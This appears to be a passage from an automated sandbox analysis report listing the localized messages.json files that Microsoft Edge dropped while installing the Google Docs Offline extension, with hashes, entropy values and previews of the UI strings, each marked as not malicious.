Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
